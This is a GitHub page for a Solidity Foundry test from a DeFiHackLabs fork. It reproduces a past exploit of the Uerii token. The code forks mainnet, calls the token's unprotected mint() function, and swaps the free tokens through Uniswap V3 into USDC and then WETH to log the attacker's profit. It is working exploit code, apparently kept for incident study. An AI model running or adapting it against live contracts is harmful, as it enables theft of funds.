forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 3
/
Uerii_exp.sol
72 lines (61 loc) · 2.25 KB
/
Uerii_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// Analysis
// https://twitter.com/peckshield/status/1581988895142526976
// TX
// https://etherscan.io/tx/0xf4a3d0e01bbca6c114954d4a49503fc94dfdbc864bded5530b51a207640d86b5
interface UER20 is IERC20{
function mint() external;
}
contract ContractTest is DSTest{
UER20 UER = UER20(0x418C24191aE947A78C99fDc0e45a1f96Afb254BE);
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 15767837);
}
function testExploit() public{
uint ETHBalanceBefore = address(this).balance;
UER.mint();
UER.approve(address(Router), type(uint).max);
USDC.approve(address(Router), type(uint).max);
UERToUSDC();
USDCToWETH();
uint WETHProfit = WETH.balanceOf(address(this));
emit log_named_decimal_uint(
"[End] Attacker WETH balance after exploit",
WETHProfit,
18
);
}
function UERToUSDC() internal {
Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
tokenIn: address(UER),
tokenOut: address(USDC),
fee: 500,
recipient: address(this),
deadline: block.timestamp,
amountIn: UER.balanceOf(address(this)),
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
Router.exactInputSingle(_Params);
}
function USDCToWETH() internal {
Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
tokenIn: address(USDC),
tokenOut: address(WETH),
fee: 500,
recipient: address(this),
deadline: block.timestamp,
amountIn: USDC.balanceOf(address(this)),
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
Router.exactInputSingle(_Params);
}
}